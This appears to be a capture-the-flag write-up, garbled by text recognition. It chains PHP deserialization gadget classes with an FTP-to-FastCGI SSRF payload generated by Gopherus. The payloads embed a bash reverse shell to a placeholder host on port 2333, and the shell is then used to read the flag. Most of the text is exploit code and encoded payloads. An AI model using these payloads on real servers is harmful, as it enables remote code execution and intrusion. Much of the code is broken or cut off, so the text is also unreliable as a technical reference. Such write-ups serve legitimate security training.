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public static $stril false;

public static $str2 false;
)i
class Esle {

public function __wakeup()

{

Check: :$strl = true;

}

¥
class Bypass {

public function _ destruct()
{
if (Check::$str1l) {
($this->str4)();

class Welcome {
public function __ invoke()
{
Check: :$str2=true;
return $this->username;
s
s
class Bunny {
public function __ toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST[ 1;

)i
file put contents($this->filename, $this->data);
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class Hint {

public function __ wakeup(){
$this->hint

public function _ destruct(){
if(!$this->hint){
$this->hint
($this v0O;

new Esle();

new Bypass();

strd=new Welcome;
str4->username=new Bunny();
str4->username->filename

serialize([$a,$b]);
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python gopherus.py —exploit fastcgi
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root@kali:~/Desktop/Gopherus# python gopherus.py —exploit fastcgi

'html/index.php

bash -c "bash -i »& /dev
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%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F %10SERVE
R_SOFTWAREg0%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%0
2CONTENT_LENGTH95%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D %200n%0Adisable
_functions%20%3D %20%0Aauto_prepend_file%20%3D %20php%3A//input%0F %17SCRIPT_FILENAME /variwww/html/index.ph
p%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00_%04%00%3C %
3Fphp%20system%28%27bash%20-c%20%22bash%20-

1%20%3E %26 %20/dev/tcp/VPS/2333%200%3E %261%22%27 %29%3Bdie%28%27-----Made-by-SpyD 3r-----
%0A%27%29%3B%3F %3E%00%00%00%00
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import socket

socket.socket(socket.AF_INET, socket.SOCK_ STREAM)
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s.accept()
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.close()
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[?code=a:2:{i:0;0:4:“Esle”:.0:{}i:1;0:6:"Bypass”:1:{s:4:“str4”;0:7:*“Welcome”:1:{s:8:“username”;O:5:“Bunny”:1:
{s:8:“filename”;s:20:“ftp://laaa@vps:23/123”;}}}}1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00
%01%04%00%01%01%04%04%00%0F %10SERVER_SOFTWAREg0%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0
.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH95%0E%04REQUEST_METHODPOST%09KPHP
_VALUEallow_url_include%20%3D %200n%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D %20php%3A//in
put%O0F%17SCRIPT_FILENAME /var/iwww/html/index.php%0D %01DOCUMENT_ROOT/%00%00%00%00%01%04 %00%01%0
0%00%00%00%01%05%00%01%00_%04%00%3C %3Fphp%20system%28%27bash%20-c%20%22bash%20-

i%20%3E %26%20/devitcp/NPS/2333%200%3E %261%22%27%29%3Bdie%28%27-----Made-by-SpyD 3r-----
%0A%27%29%3B%3F %3E%00%00%00%00
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www-data@375b594d1b43: /% cat /flag

cat /flag
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cmd := exec.Command(”/b ", c.QueryhArray("
err := cmd.Run()
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if err l= {
fmt . Println(”
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router. ("/pro MiddleWare(), proxyController)
router.GET( getController)

router.POST("/ 1", loginController)

_ = router.Run{"8
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